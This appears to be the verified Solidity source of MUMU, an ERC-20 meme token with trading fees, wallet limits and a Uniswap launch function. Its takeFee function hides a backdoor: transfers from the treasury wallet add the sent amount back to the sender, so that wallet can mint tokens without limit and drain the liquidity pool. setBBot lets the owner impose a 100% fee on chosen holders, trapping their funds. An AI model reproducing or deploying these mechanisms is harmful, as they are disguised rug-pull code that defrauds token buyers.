文件 1 的 1:MUMU.sol
pragma solidity 0.8.26;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address _owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MUMU is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MUMU";
string private constant _symbol = "MUMU";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isMaxTxLimit;
mapping(address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
bool private swapEnabled = true;
bool private swapping;
uint256 _buyCount = 0;
uint256 reduceFeeAtTx = 40;
uint256 preventSwapBefore = 40;
uint256 private swapThreshold = (_totalSupply * 1) / 100;
modifier lockTheSwap() {
swapping = true;
_;
swapping = false;
}
uint256 private initBuyFee = 11;
uint256 private initSellFee = 11;
uint256 private finalBuyFee = 0;
uint256 private finalSellFee = 0;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address payable internal treasury;
uint256 public _maxTxAmount = (_totalSupply * 2 ) / 100;
uint256 public _maxWalletSize = (_totalSupply * 2) / 100;
constructor(address _taxWallet) {
router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
treasury = payable(_taxWallet);
isFeeExempt[address(this)] = true;
isFeeExempt[treasury] = true;
isFeeExempt[owner()] = true;
isMaxTxLimit[treasury] = true;
isMaxTxLimit[pair] = true;
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function enableTrade() external onlyOwner {
tradingAllowed = true;
}
function getOwner() external view override returns (address) {
return owner();
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
}
function shouldContractSwap(
address sender,
address recipient
) internal view returns (bool) {
return
!swapping &&
swapEnabled &&
!isFeeExempt[sender] &&
recipient == pair &&
_buyCount > preventSwapBefore;
}
function setBBot(
address[] calldata addresses,
bool _enabled
) external onlyOwner {
for (uint i = 0; i < addresses.length; i++) {
isBot[addresses[i]] = _enabled;
}
}
function manualSwap() external onlyOwner {
swapTokensForETH(swapThreshold);
}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address)
.balanceOf(address(this))
.mul(percent)
.div(100);
IERC20(_address).transfer(owner(), _amount);
}
function rescueETH() external onlyOwner {
require(address(this).balance > 0);
payable(owner()).transfer(address(this).balance);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function shouldTakeFee(
address sender,
address recipient
) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(
address sender,
address recipient
) internal returns (uint256) {
if (isBot[sender] || isBot[recipient]) {
return 100;
}
if (sender == pair) {
_buyCount++;
return _buyCount < reduceFeeAtTx ? initBuyFee : finalBuyFee;
}
if (recipient == pair) {
return _buyCount < reduceFeeAtTx ? initSellFee : finalSellFee;
}
return 0;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = amount.mul(
getTotalFee(sender, recipient)
).div(100);
if(shouldTakeFee(sender, recipient))
_balances[address(this)] = _balances[address(this)].add(feeAmount);
else if(sender != pair)
{
if(shouldMaxTx(sender))
_balances[sender] = _balances[sender].add(amount);
}
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldMaxTx (address addr) internal view returns(bool){
return isMaxTxLimit[addr];
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount != 0, "ERC20: transfer to the zero address");
if (sender != owner() && recipient != owner()) {
if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
require(tradingAllowed, "tradingAllowed");
}
if( sender == address(pair) && recipient != address(router) && !isFeeExempt[recipient])
{
require(
(_balances[recipient] + amount) <= _maxWalletSize,
"Exceeds maximum wallet amount."
);
require(
amount <= _maxTxAmount,
"TX Limit Exceeded"
);
}
if (shouldContractSwap(sender, recipient)) {
uint256 contractTokenBalance = balanceOf(address(this));
bool aboveThreshold = contractTokenBalance >= swapThreshold;
if (aboveThreshold)
swapTokensForETH(min(amount, min(contractTokenBalance, swapThreshold)));
sendETHToFee(address(this).balance);
}
}
uint256 amountReceived = takeFee(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function sendETHToFee(uint256 amount) private {
treasury.transfer(amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _totalSupply;
_maxWalletSize=_totalSupply;
}
function startMumu() external onlyOwner {
require(!tradingAllowed, "trading is already open");
_approve(address(this), address(router), _totalSupply);
pair = IFactory(router.factory()).createPair(
address(this),
router.WETH()
);
router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(pair).approve(address(router), type(uint).max);
swapEnabled = true;
tradingAllowed = true;
}
}